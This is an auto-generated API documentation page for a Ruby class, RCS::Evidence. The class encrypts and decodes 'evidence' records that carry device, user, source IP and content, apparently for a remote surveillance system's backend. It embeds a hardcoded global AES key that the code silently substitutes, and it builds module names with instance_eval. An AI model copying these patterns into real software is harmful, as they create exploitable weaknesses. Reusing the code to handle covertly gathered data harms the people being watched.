Class: RCS::Evidence

Inherits:
Object
  • Object
show all
Extended by:
Crypt
Includes:
Crypt, Tracer
Defined in:
lib/rcs-common/evidence.rb

Constant Summary collapse

GLOBAL_KEY =
"\xab\x12\xcd\x34\xef\x56\x01\x23\x45\x67\x89\xab\xcd\xef\x00\x11"

Constants included from Crypt

Crypt::PAD_NOPAD, Crypt::PAD_PKCS5, Crypt::SHA1_DIGEST_LENGTH

Constants included from Tracer

Tracer::TRACE_YAML_NAME

Instance Attribute Summary collapse

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Crypt

aes_decrypt, aes_decrypt_integrity, aes_encrypt, aes_encrypt_integrity

Methods included from Tracer

#thread_name, #trace, #trace_ensure_log_folders, #trace_init, #trace_named_put, #trace_named_remove, #trace_nested_pop, #trace_nested_push, #trace_setup

Constructor Details

#initialize(key) ⇒ Evidence

def clone

return Evidence.new(@key, @info)

end



51
52
53
54
# File 'lib/rcs-common/evidence.rb', line 51

def initialize(key)
  @key = key
  @version = Evidence.version_id
end

Instance Attribute Details

#binaryObject (readonly)

Returns the value of attribute binary.



31
32
33
# File 'lib/rcs-common/evidence.rb', line 31

def binary
  @binary
end

#contentObject (readonly)

Returns the value of attribute content.



33
34
35
# File 'lib/rcs-common/evidence.rb', line 33

def content
  @content
end

#infoObject

Returns the value of attribute info.



36
37
38
# File 'lib/rcs-common/evidence.rb', line 36

def info
  @info
end

#nameObject (readonly)

Returns the value of attribute name.



34
35
36
# File 'lib/rcs-common/evidence.rb', line 34

def name
  @name
end

#sizeObject (readonly)

Returns the value of attribute size.



32
33
34
# File 'lib/rcs-common/evidence.rb', line 32

def size
  @size
end

#timestampObject (readonly)

Returns the value of attribute timestamp.



35
36
37
# File 'lib/rcs-common/evidence.rb', line 35

def timestamp
  @timestamp
end

#typeObject (readonly)

Returns the value of attribute type.



38
39
40
# File 'lib/rcs-common/evidence.rb', line 38

def type
  @type
end

#versionObject (readonly)

Returns the value of attribute version.



37
38
39
# File 'lib/rcs-common/evidence.rb', line 37

def version
  @version
end

Class Method Details

.version_idObject



43
44
45
# File 'lib/rcs-common/evidence.rb', line 43

def self.version_id
  2008121901
end

Instance Method Details

#align_to_block_len(len) ⇒ Object



89
90
91
92
93
# File 'lib/rcs-common/evidence.rb', line 89

def align_to_block_len(len)
  rest = len % 16
  len += (16 - rest % 16) unless rest == 0
  len
end

#append_data(data, len = data.bytesize) ⇒ Object



105
106
107
# File 'lib/rcs-common/evidence.rb', line 105

def append_data(data, len = data.bytesize)
  [len].pack("I") + data
end

#decrypt(data) ⇒ Object



101
102
103
# File 'lib/rcs-common/evidence.rb', line 101

def decrypt(data)
  return aes_decrypt(data, @key, PAD_NOPAD)
end

#deserialize(data) {|additional_data| ... } ⇒ Object

Yields:

  • (additional_data)

Raises:



167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
# File 'lib/rcs-common/evidence.rb', line 167

def deserialize(data)
  
  raise EvidenceDeserializeError.new("no content!") if data.nil?
  binary_string = StringIO.new data
  
  # header
  header_length = read_uint32(binary_string)
  
  # check if we need to apply the global key (evidence is being imported)
  if (header_length & 0x80000000) == 0x80000000
    trace :debug, "USING GLOBAL KEY FOR EVIDENCE DECODING!"
    @key = GLOBAL_KEY
    header_length &= ~0x80000000
  end
  
  # if empty evidence, raise
  raise EmptyEvidenceError.new("empty evidence") if empty?(binary_string, header_length)
  
  # decrypt header
  header_string = StringIO.new decrypt(binary_string.read header_length)
  @version = read_uint32(header_string)
  @type_id = read_uint32(header_string)
  time_h = read_uint32(header_string)
  time_l = read_uint32(header_string)
  host_size = read_uint32(header_string)
  user_size = read_uint32(header_string)
  ip_size = read_uint32(header_string)
  additional_size = read_uint32(header_string)
  
  # check that version is correct
  raise EvidenceDeserializeError.new("mismatching version [expected #{Evidence.version_id}, found #{@version}]") unless @version == Evidence.version_id

  common_info = Hash.new
  common_info[:dr] = Time.new.getgm
  common_info[:da] = Time.from_filetime(time_h, time_l).getgm

  common_info[:device] = header_string.read(host_size).utf16le_to_utf8 unless host_size == 0
  common_info[:device] ||= ''
  common_info[:user] = header_string.read(user_size).utf16le_to_utf8 unless user_size == 0
  common_info[:user] ||= ''
  common_info[:source] = header_string.read(ip_size).utf16le_to_utf8 unless ip_size == 0
  common_info[:source] ||= ''

  # extend class depending on evidence type
  begin
    common_info[:type] = EVIDENCE_TYPES[ @type_id ].to_s.downcase
    extend_on_type common_info[:type]
  rescue Exception => e
    puts e.message
    raise EvidenceDeserializeError.new("unknown type => #{@type_id.to_s(16)}, #{e.message}")
  end

  additional_data = header_string.read additional_size if additional_size > 0

  yield additional_data if block_given?

  # split content to chunks
  chunks = Array.new
  if common_info[:type] == 'command'
    chunks << [binary_string.read]
  else
    until binary_string.eof?
      len = read_uint32(binary_string)
      content = binary_string.read align_to_block_len(len)

      decoded_chunk = nil

      begin
        decoded_chunk = StringIO.new(decrypt(content)).read(len)
      rescue Exception => ex
        yield(chunks.join) if block_given?
        raise EvidenceDeserializeError.new("Unable to decrypt chunck #{chunks.size}. Expected length is #{len}, content bytesize is #{content.bytesize}. #{ex.message}")
      end

      chunks << decoded_chunk
    end
  end

  yield chunks.join if block_given?

  # decode additional header
  if respond_to? :decode_additional_header and additional_size != 0
    additional_info = decode_additional_header(additional_data)
    common_info.merge!(additional_info)
  end

  # decode evidence body
  evidences = Array.new
  action = decode_content(common_info, chunks) {|ev| evidences << ev}

  return evidences, action
end

#dump_to_file(dir) ⇒ Object

save the file in the specified dir



141
142
143
144
145
146
# File 'lib/rcs-common/evidence.rb', line 141

def dump_to_file(dir)
  # dump the file (using the @name) in the 'dir'
  File.open(dir + '/' + @name, "wb") do |f|
    f.write(@binary)
  end
end

#empty?(binary_string, header_length) ⇒ Boolean

Returns:

  • (Boolean)


163
164
165
# File 'lib/rcs-common/evidence.rb', line 163

def empty?(binary_string, header_length)
  (binary_string.size == header_length + 4)
end

#encrypt(data) ⇒ Object



95
96
97
98
99
# File 'lib/rcs-common/evidence.rb', line 95

def encrypt(data)
  rest = align_to_block_len(data.bytesize) - data.bytesize
  data += "a" * rest
  return aes_encrypt(data, @key, PAD_NOPAD)
end

#extend_on_type(type) ⇒ Object



56
57
58
# File 'lib/rcs-common/evidence.rb', line 56

def extend_on_type(type)
  extend instance_eval "#{type.to_s.capitalize}Evidence"
end

#extend_on_typeid(id) ⇒ Object



60
61
62
# File 'lib/rcs-common/evidence.rb', line 60

def extend_on_typeid(id)
  extend_on_type EVIDENCE_TYPES[id]
end

#generate(type, common_info) ⇒ Object

factory to create a random evidence



110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# File 'lib/rcs-common/evidence.rb', line 110

def generate(type, common_info)
  @name =  SecureRandom.hex(16)
  info = Hash[common_info]
  info[:da] = Time.now.utc
  info[:type] = type

  # extend class on requested type
  extend_on_type info[:type]

  # header
  type_id = EVIDENCE_TYPES.invert[type]
  header = generate_header(type_id, info)
  @binary = append_data(encrypt(header))

  # content
  if respond_to? :generate_content
    content = info.delete(:content)
    chunks = content ? generate_content(content) : generate_content
    chunks.each do | c |
      @binary += append_data( encrypt(c), c.bytesize )
    end
  end
  
  return self
end

#generate_header(type_id, info) ⇒ Object



64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# File 'lib/rcs-common/evidence.rb', line 64

def generate_header(type_id, info)
  tlow, thigh = info[:da].to_filetime
  deviceid_utf16 = info[:device_id].to_utf16le_binary
  userid_utf16 = info[:user_id].to_utf16le_binary
  sourceid_utf16 = info[:source_id].to_utf16le_binary

  add_header = ''

  if respond_to?(:additional_header)
    header = info.delete(:header)
    add_header = header ? additional_header(header) : additional_header
  end

  additional_size = add_header.bytesize
  struct = [Evidence.version_id, type_id, thigh, tlow, deviceid_utf16.bytesize, userid_utf16.bytesize, sourceid_utf16.bytesize, additional_size]
  header = struct.pack("I*")
  
  header += deviceid_utf16
  header += userid_utf16
  header += sourceid_utf16
  header += add_header.to_binary
  
  return header
end

#load_from_file(file) ⇒ Object

load an evidence from a file



149
150
151
152
153
154
155
156
157
# File 'lib/rcs-common/evidence.rb', line 149

def load_from_file(file)
  # load the content of the file in @content
  File.open(file, "rb") do |f|
    @binary = f.read
    @name = File.basename f
  end
  
  return self
end

#read_uint32(data) ⇒ Object



159
160
161
# File 'lib/rcs-common/evidence.rb', line 159

def read_uint32(data)
  data.read(4).unpack("L").shift
end